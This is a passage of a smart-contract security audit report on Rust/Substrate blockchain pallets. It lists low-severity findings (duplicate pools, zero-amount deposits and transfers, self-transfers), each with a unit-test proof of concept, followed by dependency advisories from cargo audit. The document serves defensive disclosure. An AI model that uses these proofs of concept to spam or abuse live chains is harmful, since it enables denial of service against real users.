```
583 pub fn do_create_pool(
584     who: &T::AccountId,
585     pair: CurrencyPair<T::AssetId>,
586     fee: Permill,
587     owner_fee: Permill,
588 ) -> Result<T::PoolId, DispatchError> {
589     // NOTE(hussein-aitlahcen): do we allow such pair?
590     ensure!(pair.base != pair.quote, Error::<T>::InvalidPair);
591
592     let total_fees = fee.checked_add(&owner_fee).ok_or(
 ↳ ArithmeticError::Overflow)?;
593     ensure!(total_fees < Permill::one(), Error::<T>::InvalidFees);
594
595     let lp_token = T::CurrencyFactory::create(RangeId::LP_TOKENS)
 ↳ ?;
596
597     // Add new pool
598     let pool_id =
599         PoolCount::<T>::try_mutate(|pool_count| -> Result<T::
 ↳ PoolId, DispatchError> {
600             let pool_id = *pool_count;
601             Pools::<T>::insert(
602                 pool_id,
603                 ConstantProductPoolInfo {
604                     owner: who.clone(),
605                     pair,
606                     lp_token,
607                     fee,
608                     owner_fee,
```

```
609                 },
610             );
611             *pool_count = pool_id.safe_add(&T::PoolId::one())?;
612             Ok(pool_id)
613         })?;
614
615     Self::deposit_event(Event::PoolCreated { pool_id, who: who.
 ↳ clone() });
616
617     Ok(pool_id)
618 }
```

Proof Of Concept:

Listing 33

```
 1 fn bad_pools() {
 2     new_test_ext().execute_with(|| {
 3
 4         let pool_id1 = StableSwap::do_create_pool(
 5             &ALICE,
 6             CurrencyPair::new(USDT, USDC),
 7             100_u16,
 8             Permill::zero(),
 9             Permill::zero(),
10         )
11         .expect("impossible; qed;");
12
13         let pool_id2 = StableSwap::do_create_pool(
14             &ALICE,
15             CurrencyPair::new(USDT, USDC),
16             100_u16,
17             Permill::zero(),
18             Permill::zero(),
19         )
20         .expect("impossible; qed;");
21
22         let pool1 = StableSwap::pools(pool_id1).expect("impossible
 ↳ ; qed;");
23         let pool2 = StableSwap::pools(pool_id2).expect("impossible
 ↳ ; qed;");
24
```

```
25          println!("pool1 {:?}",pool1);
26          println!("pool2 {:?}",pool2);
27
28      });
29  }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended that each pair of assets should have one pool, USDT/USDC, and USDC/USDT should be one pool as well.

3.14 (HAL-14) ZERO AMOUNT COLLATERAL DEPOSIT - LOW

Description:

Inside the lending pallet, thedeposit_collateral function allows users to deposit zero collateral. Zero amount wrappings can be abused if someone constantly calls deposit_collateral with zero amount and fill the block space.

Code Location:

Listing 34: frame/vesting/src/lib.rs

```
510     fn deposit_collateral(
511             market_id: &Self::MarketId,
512             account: &Self::AccountId,
513             amount: CollateralLpAmountOf<Self>,
514         ) -> Result<(), DispatchError> {
515             let market = Self::get_market(market_id)?;
516             let market_account = Self::account_id(market_id);
517             ensure!(
518                 <T as Config>::MultiCurrency::can_withdraw(market.
 ↳ collateral, account, amount)
519                     .into_result()
520                     .is_ok(),
521                 Error::<T>::TransferFailed
522             );
523
524             ensure!(
525                 <T as Config>::MultiCurrency::can_deposit(
526                     market.collateral,
527                     &market_account,
528                     amount
529                 ) == DepositConsequence::Success,
530                 Error::<T>::TransferFailed
531             );
532
533             AccountCollateral::<T>::try_mutate(market_id, account,
 ↳ |collateral_balance| {
```

```
534                 let new_collateral_balance = collateral_balance
535                     .unwrap_or_default()
536                     .checked_add(&amount)
537                     .ok_or(Error::<T>::Overflow)?;
538                 collateral_balance.replace(new_collateral_balance)
 ↳ ;
539                 Result::<(), Error<T>>::Ok(())
540             })?;
541             <T as Config>::MultiCurrency::transfer(
542                 market.collateral,
543                 account,
544                 &market_account,
545                 amount,
546                 true,
547             )
548             .expect("impossible; qed;");
549             Ok(())
550         }
```

Proof Of Concept:

Listing 35

```
1  fn zero_amount_collateral_deposit() {
2      new_test_ext().execute_with(|| {
3          System::set_block_number(1);
4          let (market_id, _vault_id) = create_simple_market();
5
6          let borrow_asset = BTC::ID;
7          let collateral_asset = USDT::ID;
8
9          let expected = 50_000 * USDT::one();
10         set_price(BTC::ID, expected);
11         set_price(USDT::ID, USDT::one());
12         let market_account = Lending::account_id(&market_id);
13     ;
14         let collateral_amount = 0;
15         assert_ok!(Lending::deposit_collateral_internal(&market_id
 ↳ , &BOB, collateral_amount));
16
17
18     });
```

```
19 }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add checks to ensure collateral value is bigger than 0.

3.15 (HAL-15) MISSING ZERO VALUE CHECK - LOW

Description:

Inside assets pallet, the transfer and transfer_native functions does not check if the amount equal to zero. Zero amount of wrappings can be abused if someone constantly calls transfer or transfer_native with zero amount and fill the block space.

Code Location:

Listing 36: TODO

```
pub fn transfer(
        origin: OriginFor<T>,
        asset: T::AssetId,
        dest: <T::Lookup as StaticLookup>::Source,
        #[pallet::compact] amount: T::Balance,
        keep_alive: bool,
    ) -> DispatchResultWithPostInfo {
        let src = ensure_signed(origin)?;
        let dest = T::Lookup::lookup(dest)?;
        <Self as Transfer<T::AccountId>>::transfer(asset, &src, &
↳ dest, amount, keep_alive)?;
        Ok(().into())
    }

pub fn transfer_native(
        origin: OriginFor<T>,
        dest: <T::Lookup as StaticLookup>::Source,
        #[pallet::compact] value: T::Balance,
        keep_alive: bool,
    ) -> DispatchResultWithPostInfo {
        let src = ensure_signed(origin)?;
        let dest = T::Lookup::lookup(dest)?;
        <Self as NativeTransfer<T::AccountId>>::transfer(&src, &
↳ dest, value, keep_alive)?;
        Ok(().into())
    }
```

Proof Of Concept:

Listing 37

```
#[test]
fn zero_amount_transfer() {
    new_test_ext().execute_with(|| {
        Pallet::<Test>::transfer(
            Origin::signed(FROM_ACCOUNT),
            ASSET_ID,
            TO_ACCOUNT,
            0,
            true,
        )
        .expect("transfer should work");
        assert_eq!(
            Pallet::<Test>::total_balance(ASSET_ID, &FROM_ACCOUNT)
↳ ,
            INIT_AMOUNT - 0
        );
        assert_eq!(
            Pallet::<Test>::total_balance(ASSET_ID, &TO_ACCOUNT),
            INIT_AMOUNT + 0
        );
    });
}
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add zero amount checks to transfer and transfer_native functions.

3.16 (HAL-16) TRANSFER TO CALLER ACCOUNT - LOW

Description:

Inside assets pallet, the transfer and the transfer_native functions, allows you to transfer to caller account itself.

Code Location:

Listing 38: frame/assets/src/lib.rs

```
147 pub fn transfer(
148     origin: OriginFor<T>,
149     asset: T::AssetId,
150     dest: <T::Lookup as StaticLookup>::Source,
151     #[pallet::compact] amount: T::Balance,
152     keep_alive: bool,
153 ) -> DispatchResultWithPostInfo {
154     let src = ensure_signed(origin)?;
155     let dest = T::Lookup::lookup(dest)?;
156     <Self as Transfer<T::AccountId>>::transfer(asset, &src, &dest,
 ↳  amount, keep_alive)?;
157     Ok(().into())
158 }
```

Listing 39: frame/assets/src/lib.rs (Line 169)

```
169 pub fn transfer_native(
170     origin: OriginFor<T>,
171     dest: <T::Lookup as StaticLookup>::Source,
172     #[pallet::compact] value: T::Balance,
173     keep_alive: bool,
174 ) -> DispatchResultWithPostInfo {
175     let src = ensure_signed(origin)?;
176     let dest = T::Lookup::lookup(dest)?;
177     <Self as NativeTransfer<T::AccountId>>::transfer(&src, &dest,
 ↳ value, keep_alive)?;
178     Ok(().into())
179 }
```

Proof Of Concept:

Listing 40

```
#[test]
fn same_account_transfer() {
    new_test_ext().execute_with(|| {
        Pallet::<Test>::transfer(
            Origin::signed(FROM_ACCOUNT),
            ASSET_ID,
            FROM_ACCOUNT,
            100,
            true,
        )
        .expect("transfer should work");
        assert_eq!(
            Pallet::<Test>::total_balance(ASSET_ID, &FROM_ACCOUNT)
↳ ,
            INIT_AMOUNT
        );
    });
}
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

Consider adding checks to ensure the caller account is not identical to the destination.

3.17 (HAL-17) POSSIBLE ERROR AFTER CRITICAL FUNCTION - INFORMATIONAL

Description:

Inside mosaic pallet, the transfer_to function can throw an error at safe_add after calling the transfer function.

Since the function has the #[transactional] macro, the likelihood of error is low; hence this finding is only informational.

Code Location:

Listing 41: frame/mosaic/src/lib.rs

```
449 #[transactional]
450 pub fn transfer_to(
451     origin: OriginFor<T>,
452     network_id: NetworkIdOf<T>,
453     asset_id: AssetIdOf<T>,
454     address: EthereumAddress,
455     amount: BalanceOf<T>,
456     keep_alive: bool,
457 ) -> DispatchResultWithPostInfo {
458     let caller = ensure_signed(origin)?;
459     ensure!(AssetsInfo::<T>::contains_key(asset_id), Error::<T>::
 ↳ UnsupportedAsset);
460     let remote_asset_id = Self::get_remote_mapping(asset_id,
 ↳ network_id.clone())?;
461     let network_info =
462         NetworkInfos::<T>::get(network_id.clone()).ok_or(Error::<T
 ↳ >::UnsupportedNetwork)?;
463     ensure!(network_info.enabled, Error::<T>::NetworkDisabled);
464     ensure!(network_info.max_transfer_size >= amount, Error::<T>::
 ↳ ExceedsMaxTransferSize);
465     ensure!(network_info.min_transfer_size <= amount, Error::<T>::
 ↳ BelowMinTransferSize);
466
467     T::Assets::transfer(
468         asset_id,
```

```
469             &caller,
470             &Self::sub_account_id(SubAccount::new_outgoing(caller.
 ↳ clone())),
471             amount,
472             keep_alive,
473         )?;
474         let now = <frame_system::Pallet<T>>::block_number();
475         let lock_until = now.safe_add(&TimeLockPeriod::<T>::get())?;
476
477         OutgoingTransactions::<T>::try_mutate(
478             caller.clone(),
479             asset_id,
480             |tx| -> Result<(), DispatchError> {
481 ..........
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to ensure that no functions might fail after the critical calls to transfer, mint, burn, etc.

AUTOMATED TESTING

4.1 AUTOMATED ANALYSIS

Description:

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results:

Crate: hyper
Version: 0.10.16
Title: Lenient hyper header parsing of Content-Length could allow request smuggling
Date: 2021-07-07
ID: RUSTSEC-2021-0078
URL: https://rustsec.org/advisories/RUSTSEC-2021-0078
Solution: Upgrade to >=0.14.10
Dependency tree:
hyper 0.10.16

Crate: hyper
Version: 0.10.16
Title: Integer overflow in hyper's parsing of the Transfer-Encoding header leads to data loss
Date: 2021-07-07
ID: RUSTSEC-2021-0079
URL: https://rustsec.org/advisories/RUSTSEC-2021-0079

```
Solution: Upgrade to >=0.14.10

Crate: lru
Version: 0.6.6
Title: Use after free in lru crate
Date: 2021-12-21
ID: RUSTSEC-2021-0130
URL: https://rustsec.org/advisories/RUSTSEC-2021-0130
Solution: Upgrade to >=0.7.1
Dependency tree:
lru 0.6.6
```

THANK YOU FOR CHOOSING

// HALBORN